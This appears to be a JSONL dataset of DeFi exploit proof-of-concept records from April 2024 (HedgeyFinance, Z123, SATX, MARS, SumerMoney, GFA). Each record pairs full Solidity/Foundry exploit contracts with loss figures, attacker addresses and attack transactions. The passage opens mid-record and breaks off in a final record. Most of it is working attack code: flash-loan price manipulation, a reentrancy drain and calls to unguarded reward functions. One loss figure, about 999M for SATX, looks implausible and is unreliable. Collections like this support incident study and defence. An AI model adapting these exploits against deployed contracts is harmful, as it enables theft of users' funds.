claimLockup.period = 0;\n claimLockup.periods = 0;\n\n Donation memory donation;\n donation.tokenLocker = address(this);\n donation.amount = 0;\n donation.rate = 0;\n donation.start = 0;\n donation.start = 0;\n donation.cliff = 0;\n donation.period = 0;\n\n HedgeyFinance.createLockedCampaign(campaign_id, campaign, claimLockup, donation);\n\n HedgeyFinance.cancelCampaign(campaign_id);\n\n // pay back the FlashLoan\n USDC.transfer(address(BalancerVault), loan);\n }\n}\n", "type": "exploit_poc", "protocol": "HedgeyFinance", "date": "2024-04", "file_name": "HedgeyFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "53b197bc763ff25a", "collected_at": "2026-01-07T10:59:16.526944", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "48M USD", "total_lost_usd": 48000000.0, "attacker_address": "https://etherscan.io/address/0xDed2b1a426E1b7d415A40Bcad44e98F47181dda2", "attack_contract": "https://etherscan.io/address/0xC793113F1548B97E37c409f39244EE44241bF2b3", "vulnerable_contract": "https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511", "attack_tx": "https://etherscan.io/tx/0x2606d459a50ca4920722a111745c2eeced1d8a01ff25ee762e22d5d4b1595739", "postmortem_url": "https://medium.com/@CUBE3AI/hedgey-finance-hack-detected-by-cube3-ai-minutes-before-exploit-1f500e7052d4", "twitter_url": "https://twitter.com/Cube3AI/status/1781294512716820918", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "48M USD", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(this), 0 ether);\n emit log_named_decimal_uint(\"Attacker USDC balance before exploit\", address(this).balance, 18);\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = loan;\n\n BalancerVault.flashLoan(address(this), tokens, amounts, \"\");\n\n // At this point we have an Approval\n uint256 HedgeyFinance_balance = USDC.balanceOf(address(HedgeyFinance));\n USDC.transferFrom(address(HedgeyFinance), address(this), HedgeyFinance_balance);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "48M USD", "keyinfo_attacker": "https://etherscan.io/address/0xDed2b1a426E1b7d415A40Bcad44e98F47181dda2", "keyinfo_attack_contract": "https://etherscan.io/address/0xC793113F1548B97E37c409f39244EE44241bF2b3", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511", "keyinfo_attack_tx": "https://etherscan.io/tx/0x2606d459a50ca4920722a111745c2eeced1d8a01ff25ee762e22d5d4b1595739", "analysis_postmortem": "https://medium.com/@CUBE3AI/hedgey-finance-hack-detected-by-cube3-ai-minutes-before-exploit-1f500e7052d4", "analysis_twitter": "https://twitter.com/Cube3AI/status/1781294512716820918", "funds_lost_formatted": "$48.00M", "content_richness_score": 9.24, "quality_estimate": "high", "title": "HedgeyFinance Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "import \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : \u2248135k\n// Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32\n// Attack Contract : https://bscscan.com/address/0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168\n// Vulnerable Contract : https://bscscan.com/address/0xb000f121A173D7Dd638bb080fEe669a2F3Af9760\n// Attack Tx : https://bscscan.com/tx/0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a27\n\n// @Analysis\n//\n// First, tokens are exchanged from a pool with normal ratios using USD.\n// Then, each subsequent swap burns liquidity from the pool, resulting in disproportionate token ratios that can be exploited for arbitrage.\n\ncontract Z123_exp is Test {\n IERC20 z123_ = IERC20(0xb000f121A173D7Dd638bb080fEe669a2F3Af9760);\n IPancakeV3Pool pancakeV3_ = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n IERC20 bsc_usd_ = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IPancakeRouter router_ = IPancakeRouter(payable(address(0x901c0967DF19fA0Af98Fd958E70F30301d7580dD)));\n IPancakeRouter victim_ = IPancakeRouter(payable(address(0x6125c643a2D4A927ACd63C1185c6be902eFd5dC8)));\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 38_077_210);\n\n bsc_usd_.approve(address(router_), type(uint256).max);\n z123_.approve(address(router_), type(uint256).max);\n\n bsc_usd_.approve(address(victim_), type(uint256).max);\n z123_.approve(address(victim_), type(uint256).max);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"befor ack usdc balance = \", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals());\n pancakeV3_.flash(address(this), 18_000_000 ether, 0, \"\");\n emit log_named_decimal_uint(\n \"after profit usdc balance = \", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals()\n );\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {\n address[] memory path = new address[](2);\n path[0] = address(bsc_usd_);\n path[1] = address(z123_);\n router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 18_000_000 ether, 1, path, address(this), block.timestamp\n );\n\n console.log(\"==== start attack====\");\n path[0] = address(z123_);\n path[1] = address(bsc_usd_);\n for (int256 i = 0; i < 79; i++) {\n victim_.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 7125 ether, 1, path, address(this), block.timestamp\n );\n }\n console.log(\"==== end attack====\");\n\n //repay\n bsc_usd_.transfer(address(pancakeV3_), 18_000_000 ether + fee0);\n }\n}\n", "type": "exploit_poc", "protocol": "Z123", "date": "2024-04", "file_name": "Z123_exp.sol", "attack_vector": null, "content_hash": "822471b73a0cfb7c", "collected_at": "2026-01-07T10:59:16.527008", "_source": "postmortems", "chain": "bsc", "block_number": 38077210, "total_lost_raw": "\u2248135k", "total_lost_usd": 135000.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168", "vulnerable_contract": "https://bscscan.com/address/0xb000f121A173D7Dd638bb080fEe669a2F3Af9760", "attack_tx": "https://bscscan.com/tx/0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a27", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "\u2248135k", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"befor ack usdc balance = \", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals());\n pancakeV3_.flash(address(this), 18_000_000 ether, 0, \"\");\n emit log_named_decimal_uint(\n \"after profit usdc balance = \", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "\u2248135k", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb000f121A173D7Dd638bb080fEe669a2F3Af9760", "keyinfo_attack_tx": "https://bscscan.com/tx/0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a27", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$135.0K", "content_richness_score": 7.35, "quality_estimate": "medium", "title": "Z123 Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~999M US$\n// Attacker : 0xBEF24B94C205999ea17d2ae4941cE849C9114bfd\n// Attack Contract : 0x9C63d6328C8e989c99b8e01DE6825e998778B103\n// Vulnerable Contract : 0xFd80a436dA2F4f4C42a5dBFA397064CfEB7D9508\n// Attack Tx : https://bscscan.com/tx/0x7e02ee7242a672fb84458d12198fae4122d7029ba64f3673e7800d811a8de93f\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xfd80a436da2f4f4c42a5dbfa397064cfeb7d9508#code\n\ncontract ContractTest is Test {\n address public attacker = address(this);\n IERC20 constant SATX = IERC20(0xFd80a436dA2F4f4C42a5dBFA397064CfEB7D9508);\n IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IPancakePair pair_WBNB_SATX = IPancakePair(0x927d7adF1Bcee0Fa1da868d2d43417Ca7c6577D4);\n IPancakePair pair_WBNB_CAKE = IPancakePair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 37_914_434 - 1);\n vm.label(address(SATX), \"SATX\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(router), \"PancakeSwap Router\");\n vm.label(address(pair_WBNB_SATX), \"pair_WBNB_SATX\");\n vm.label(address(pair_WBNB_CAKE), \"pair_WBNB_CAKE\");\n }\n\n function approveAll() public {\n SATX.approve(address(router), type(uint256).max);\n WBNB.approve(address(router), type(uint256).max);\n }\n\n function testExploit() public {\n deal(attacker, 0.900000001 ether);\n WBNB.deposit{value: 0.9 ether}();\n approveAll();\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(SATX);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 1_000_000_000_000_000, 0, path, attacker, type(uint256).max\n );\n uint256 SATX_amount = SATX.balanceOf(attacker);\n router.addLiquidity(\n address(WBNB), address(SATX), 1_000_000_000_000_000, SATX_amount, 0, 0, attacker, type(uint256).max\n );\n pair_WBNB_CAKE.swap(0, 60_000_000_000_000_000_000, attacker, bytes(\"1\"));\n\n uint256 WBNB_amount = WBNB.balanceOf(attacker);\n WBNB.withdraw(WBNB_amount);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n if (msg.sender == address(pair_WBNB_CAKE)) {\n uint256 SATX_amount = SATX.balanceOf(address(pair_WBNB_SATX));\n pair_WBNB_SATX.swap(100_000_000_000_000, SATX_amount / 2, attacker, data);\n\n uint256 SATX_amount_1 = SATX.balanceOf(attacker);\n SATX.transfer(address(pair_WBNB_SATX), SATX_amount_1);\n pair_WBNB_SATX.skim(attacker);\n pair_WBNB_SATX.sync();\n WBNB.transfer(address(pair_WBNB_SATX), 100_000_000_000_000);\n uint256 SATX_amount_2 = SATX.balanceOf(attacker);\n address[] memory path = new address[](2);\n path[0] = address(SATX);\n path[1] = address(WBNB);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SATX_amount_2, 0, path, attacker, type(uint256).max\n );\n WBNB.transfer(address(pair_WBNB_CAKE), 60_150_600_000_000_000_000);\n } else if (msg.sender == address(pair_WBNB_SATX)) {\n WBNB.transfer(address(pair_WBNB_SATX), 52_000_000_000_000_000_000);\n }\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SATX", "date": "2024-04", "file_name": "SATX_exp.sol", "attack_vector": null, "content_hash": "e008fd57970a2cd7", "collected_at": "2026-01-07T10:59:16.527062", "_source": "postmortems", "chain": "bsc", "block_number": 37914434, "total_lost_raw": "~999M US$", "total_lost_usd": 999000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0x7e02ee7242a672fb84458d12198fae4122d7029ba64f3673e7800d811a8de93f", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "~999M US$", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(attacker, 0.900000001 ether);\n WBNB.deposit{value: 0.9 ether}();\n approveAll();\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(SATX);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 1_000_000_000_000_000, 0, path, attacker, type(uint256).max\n );\n uint256 SATX_amount = SATX.balanceOf(attacker);\n router.addLiquidity(\n address(WBNB), address(SATX), 1_000_000_000_000_000, SATX_amount, 0, 0, attacker, type(uint256).max\n );\n pair_WBNB_CAKE.swap(0, 60_000_000_000_000_000_000, attacker, bytes(\"1\"));\n\n uint256 WBNB_amount = WBNB.balanceOf(attacker);\n WBNB.withdraw(WBNB_amount);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~999M US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x7e02ee7242a672fb84458d12198fae4122d7029ba64f3673e7800d811a8de93f", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$999.00M", "content_richness_score": 6.81, "quality_estimate": "medium", "title": "SATX Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// Total Lost: >$100k\n// Attacker: 0x306174b707ebf6d7301a0bcd898ae1666ec176ae\n// Attack Contract: 0x797acb321cb10154aa807fcd1e155c34135483cd\n// Attack Contract: 0x797acb321cb10154aa807fcd1e155c34135483cd\n// Vulnerable Contract: 0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943\n// Attack Tx: https://app.blocksec.com/explorer/tx/bsc/0x25e2af0a55581d5629a933af9fedd3c70e6d0c320f0b72700ca80e5cdd36c80b\n\n// @Analyses\n// https://twitter.com/Phalcon_xyz/status/1780150315603701933\n// The pair contract can get reflections from taxes. Thus the attacker can user flashloan to repeated swap and sync for better pricing.\n\nIPancakeV3Pool constant v3pair = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\nIERC20 constant bnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\nIPancakeRouter constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\nIERC20 constant MARS = IERC20(0x436D3629888B50127EC4947D54Bb0aB1120962A0);\n\ncontract MARS_EXP is Test {\n uint256 lending_amount = 350 ether;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 37_903_299); // fork BSC at block 37903299\n }\n\n function testExploit_MARS() public {\n v3pair.flash(address(this), 0, lending_amount, \"\");\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata) external {\n emit log_named_uint(\"WBNB balance before Attack\", bnb.balanceOf(address(this)) / 1 ether);\n\n emit log_string(\"Buying MARS with WBNB\");\n bnb.approve(address(router), 2 ** 256 - 1);\n MARS.approve(address(router), 2 ** 256 - 1);\n\n address[] memory path = new address[](2);\n path[0] = address(bnb);\n path[1] = address(MARS);\n\n for (uint256 i = 0;;) {\n if (bnb.balanceOf(address(this)) == 0) {\n break;\n }\n uint256 tobuy = router.getAmountsIn(1000 ether, path)[0];\n TokenReceiver receiver = new TokenReceiver();\n if (bnb.balanceOf(address(this)) > tobuy) {\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n tobuy, 0, path, address(receiver), block.timestamp + 1\n );\n // emit log_named_uint(\"get MARS\", MARS.balanceOf(address(receiver)));\n MARS.transferFrom(address(receiver), address(this), MARS.balanceOf(address(receiver)));\n } else {\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n bnb.balanceOf(address(this)), 0, path, address(receiver), block.timestamp + 1\n );\n // emit log_named_uint(\"get MARS\", MARS.balanceOf(address(receiver)));\n MARS.transferFrom(address(receiver), address(this), MARS.balanceOf(address(receiver)));\n break;\n }\n }\n\n emit log_named_uint(\"MARS After buying\", MARS.balanceOf(address(this)) / 1 ether);\n emit log_named_uint(\"BNB After buying\", bnb.balanceOf(address(this)) / 1 ether);\n\n path[0] = address(MARS);\n path[1] = address(bnb);\n for (uint256 i = 0;;) {\n if (MARS.balanceOf(address(this)) == 0) {\n break;\n }\n if (MARS.balanceOf(address(this)) > 1000 ether) {\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 1000 ether, 0, path, address(this), block.timestamp + 1\n );\n } else {\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n MARS.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1\n );\n break;\n }\n }\n\n emit log_named_uint(\"WBNB balance After Attack\", bnb.balanceOf(address(this)) / 1 ether);\n emit log_named_uint(\"MARS After Attack\", MARS.balanceOf(address(this)) / 1 ether);\n\n bnb.transfer(msg.sender, lending_amount + fee1);\n emit log_named_uint(\"WBNB balance After Paying back\", bnb.balanceOf(address(this)) / 1 ether);\n }\n}\n\ncontract TokenReceiver {\n constructor() {\n MARS.approve(msg.sender, 2 ** 256 - 1);\n }\n}\n", "type": "exploit_poc", "protocol": "MARS", "date": "2024-04", "file_name": "MARS_exp.sol", "attack_vector": "flash_loan", "content_hash": "bd7e4ce842b5e36b", "collected_at": "2026-01-07T10:59:16.527107", "_source": "postmortems", "chain": "unknown", "block_number": 37903299, "total_lost_raw": ">$100k", "total_lost_usd": 100000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x25e2af0a55581d5629a933af9fedd3c70e6d0c320f0b72700ca80e5cdd36c80b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "high", "severity_raw": ">$100k", "category": "flash-loan", "exploit_code": "function testExploit_MARS() public {\n v3pair.flash(address(this), 0, lending_amount, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x25e2af0a55581d5629a933af9fedd3c70e6d0c320f0b72700ca80e5cdd36c80b", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$100.0K", "content_richness_score": 8.14, "quality_estimate": "high", "title": "MARS Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 350K\n// Attacker : /address/https://basescan.org/address/0xbb344544ad328b5492397e967fe81737855e7e77\n// Attack Contract : /address/https://basescan.org/address/0x13d27a2d66ea33a4bc581d5fefb0b2a8defe9fe7\n// Vulnerable Contract : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607\n// Attack Tx : /tx/https://basescan.org/tx/0x619c44af9fedb8f5feea2dcae1da94b6d7e5e0e7f4f4a99352b6c4f5e43a4661\n\n// @Info\n// Vulnerable Contract Code : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607#code\n\n// @Analysis\n// Post-mortem :\n \n// Hacking God :\n\ninterface IClaimer {\n function claim(\n uint256[] calldata tokenIds\n ) external;\n}\n\ncontract SumerMoney is Test {\n uint256 blocknumToForkFrom = 13_076_768;\n\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));\n IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);\n IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);\n crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));\n ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);\n ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);\n IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);\n Helper helper;\n\n function setUp() public {\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(cbETH), \"cbETH\");\n vm.label(address(sdrETH), \"sdrETH\");\n vm.label(address(sdrUSDC), \"sdrUSDC\");\n vm.label(address(sdrcbETH), \"sdrcbETH\");\n vm.label(address(claimer), \"claimer\");\n vm.createSelectFork(\"base\", blocknumToForkFrom);\n }\n\n function testExploit() public {\n deal(address(this), 1);\n address[] memory tokens = new address[](2);\n tokens[0] = address(WETH);\n tokens[1] = address(USDC);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 150 ether;\n amounts[1] = 645_000 * 1e6;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n emit log_named_decimal_uint(\"Attacker USDC Balance After exploit\", USDC.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Attacker cbETH Balance After exploit\", cbETH.balanceOf(address(this)), 18);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n WETH.withdraw(amounts[0]);\n\n // sdrETH.exchangeRate\n emit log_named_decimal_uint(\"Before re-enter, sdrETH exchangeRate\", sdrETH.exchangeRateCurrent(), 18);\n\n sdrETH.mint{value: amounts[0]}();\n\n helper = new Helper{value: 1}();\n USDC.transfer(address(helper), amounts[1]);\n helper.borrow(amounts[1]);\n\n WETH.deposit{value: amounts[0]}();\n WETH.transfer(address(Balancer), amounts[0]);\n USDC.transfer(address(Balancer), amounts[1]);\n }\n\n function attack() external {\n // exchangeRate == getCashPrior() + totalBorrows - totalReserves / totalSupply\n // In function repayBorrowBehalf(), getCashPrior() increase 150 ether but totalBorrows not decreased due to re-enter\n emit log_named_decimal_uint(\"In re-enter, sdrETH exchangeRate\", sdrETH.exchangeRateCurrent(), 18);\n\n sdrcbETH.borrow(cbETH.balanceOf(address(sdrcbETH)));\n sdrUSDC.borrow(USDC.balanceOf(address(sdrUSDC)) - 645_000 * 1e6);\n sdrETH.redeemUnderlying(150 ether);\n uint256[] memory tokenIds = new uint256[](2);\n tokenIds[0] = 309;\n tokenIds[1] = 310;\n claimer.claim(tokenIds);\n }\n\n receive() external payable {}\n}\n\ncontract Helper {\n address owner;\n IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));\n IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);\n IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);\n crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));\n ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);\n ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);\n IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);\n\n constructor() payable {\n owner = msg.sender;\n }\n\n function borrow(\n uint256 amount\n ) external {\n USDC.approve(address(sdrUSDC), amount);\n sdrUSDC.mint(amount);\n\n uint256 borrowAmount = address(sdrETH).balance;\n sdrETH.borrow(borrowAmount);\n\n sdrETH.repayBorrowBehalf{value: borrowAmount + 1}(address(this)); // reentrancy\n\n sdrUSDC.redeem(sdrUSDC.balanceOf(address(this)));\n uint256[] memory tokenIds = new uint256[](1);\n tokenIds[0] = 311;\n claimer.claim(tokenIds);\n USDC.transfer(owner, USDC.balanceOf(address(this)));\n }\n\n receive() external payable {\n if (msg.value == 1) {\n owner.call(abi.encodeWithSignature(\"attack()\"));\n }\n }\n}\n", "type": "exploit_poc", "protocol": "SumerMoney", "date": "2024-04", "file_name": "SumerMoney_exp.sol", "attack_vector": "flash_loan", "content_hash": "9e3e094cc75906ba", "collected_at": "2026-01-07T10:59:16.527158", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "350K", "total_lost_usd": 350000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "350K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(this), 1);\n address[] memory tokens = new address[](2);\n tokens[0] = address(WETH);\n tokens[1] = address(USDC);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 150 ether;\n amounts[1] = 645_000 * 1e6;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n emit log_named_decimal_uint(\"Attacker USDC Balance After exploit\", USDC.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Attacker cbETH Balance After exploit\", cbETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "350K", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$350.0K", "content_richness_score": 7.75, "quality_estimate": "medium", "title": "SumerMoney Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xe15d6f7fa891c2626819209edf2d5ded6948310eaada067b400062aa022ce718\n// GUY : https://x.com/ChainAegis/status/1779809931962827055\n// Profit : ~14K USD\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IPancakePair Pair = IPancakePair(0x875AC38Bc56E2c6FBEDa4354Ac085CB94d0D2D2F);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 GFA = IERC20(0x278ce7151Bfd1b035e8Bc99e15b4d9773969D4eD);\n address Reward = 0xbCbCb0e7E28414e084c4a40C1cCC30B75629a7DE;\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 37_857_763);\n deal(address(BUSD), address(this), 30 * 1e18);\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"attacker balance BUSD before attack:\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n attack();\n emit log_named_decimal_uint(\n \"attacker balance BUSD after attack:\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }\n\n function attack() public {\n BUSD.approve(address(Pair), type(uint256).max);\n BUSD.approve(address(Router), type(uint256).max);\n swap_token_to_token(address(BUSD), address(GFA), 30 ether);\n Reward.call(\n abi.encodeWithSelector(bytes4(0x5f7938f1), address(this), 400_000_000 * 1e18, 40_000_000 * 1e18, 12_222)\n );\n Reward.call(abi.encodeWithSelector(bytes4(0x3890ec92), 100));\n GFA.transfer(address(GFA), 10_000);\n swap_token_to_token(address(GFA), address(BUSD), GFA.balanceOf(address(this)));\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n function getreserves(\n uint256 stepNum\n ) public {\n console.log(\"Step %i\", stepNum);\n (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();\n emit log_named_decimal_uint(\"ReserveIn\", reserveIn, 18);\n emit log_named_decimal_uint(\"ReserveOut\", reserveOut, 18);\n }\n}\n", "type": "exploit_poc", "protocol": "GFA", "date": "2024-04", "file_name": "GFA_exp.sol", "attack_vector": null, "content_hash": "228061c3f3d9c4ab", "collected_at": "2026-01-07T10:59:16.527216", "_source": "postmortems", "chain": "unknown", "block_number": 37857763, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"attacker balance BUSD before attack:\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n attack();\n emit log_named_decimal_uint(\n \"attacker balance BUSD after attack:\", BUSD.balanceOf(address(this)), BUSD.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.29, "quality_estimate": "low", "title": "GFA Exploit (2024-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost : 1.4M\n// Attacker : https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23\n// Attack Contract : https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd\n// Vulnerable Contract : 